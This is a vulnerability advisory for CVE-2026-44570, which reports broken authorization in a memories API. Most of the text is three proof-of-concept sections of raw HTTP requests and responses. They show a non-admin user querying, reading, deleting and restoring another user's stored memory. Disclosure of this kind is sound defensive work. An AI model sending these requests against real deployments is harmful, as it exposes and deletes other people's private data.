CVE-2026-44570

### Summary Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories. ### Details Using a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users. Similarly, even if a non-admin user cannot modify another user's memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known. The `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again. ### PoC 1 **Example of a user with no memories able to query an existing memory from another user** ``` GET /api/v1/memories/ HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 0 --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:19:58 GMT server: uvicorn content-length: 2 content-type: application/json x-process-time: 0 [] ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:22:01 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 access-control-allow-origin: * access-control-allow-credentials: true {"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]} ``` ### PoC 2 **Example showing excess output about a memory a user has no access to modify** ``` POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23 { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 18:53:37 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0 {"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616} ``` ### PoC 3 **Example showing a memory being deleted then restored by a different user than its owner** ``` DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Connection: keep-alive --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:31:19 GMT server: uvicorn content-length: 4 content-type: application/json x-process-time: 0 true ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:32:31 GMT server: uvicorn content-length: 63 content-type: application/json x-process-time: 0 {"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]} ``` ``` POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23 { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:05 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0 {"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616} ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:34 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 {"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]} ``` ### Impact Potential disclosure of sensitive data stored within a user's memories.
